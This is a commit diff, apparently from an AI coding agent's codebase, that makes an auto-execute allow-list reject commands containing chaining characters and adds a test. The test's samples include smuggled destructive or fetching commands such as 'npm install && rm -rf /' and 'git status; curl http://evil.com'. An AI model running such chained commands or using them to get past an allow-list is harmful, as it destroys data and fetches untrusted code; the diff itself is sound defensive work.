Short circuit allow-list check when it includes command chaining characters

This commit is contained in:
John Stearns
2024-11-05 12:42:53 -08:00
parent 0b99347606
commit 920be6d01d
2 changed files with 30 additions and 1 deletions

View File

@@ -134,7 +134,18 @@ export class Cline {
} }
protected isAllowedCommand(command?: string): boolean { protected isAllowedCommand(command?: string): boolean {
if (!command) return false; if (!command) {
return false;
}
// Check for command chaining characters
if (command.includes('&&') ||
command.includes(';') ||
command.includes('||') ||
command.includes('|') ||
command.includes('$(') ||
command.includes('`')) {
return false;
}
const trimmedCommand = command.trim().toLowerCase(); const trimmedCommand = command.trim().toLowerCase();
return ALLOWED_AUTO_EXECUTE_COMMANDS.some(prefix => return ALLOWED_AUTO_EXECUTE_COMMANDS.some(prefix =>
trimmedCommand.startsWith(prefix.toLowerCase()) trimmedCommand.startsWith(prefix.toLowerCase())

View File

@@ -388,5 +388,23 @@ describe('Cline', () => {
expect(cline.isAllowedCommand('')).toBe(false) expect(cline.isAllowedCommand('')).toBe(false)
expect(cline.isAllowedCommand(' ')).toBe(false) expect(cline.isAllowedCommand(' ')).toBe(false)
}) })
test('returns false for commands with chaining operators', () => {
const maliciousCommands = [
'npm install && rm -rf /',
'git status; dangerous-command',
'git log || evil-script',
'git status | malicious-pipe',
'git log $(evil-command)',
'git status `rm -rf /`',
'npm install && echo "malicious"',
'git status; curl http://evil.com',
'tsc --watch || wget malware',
];
maliciousCommands.forEach(cmd => {
expect(cline.isAllowedCommand(cmd)).toBe(false);
});
});
}) })
}); });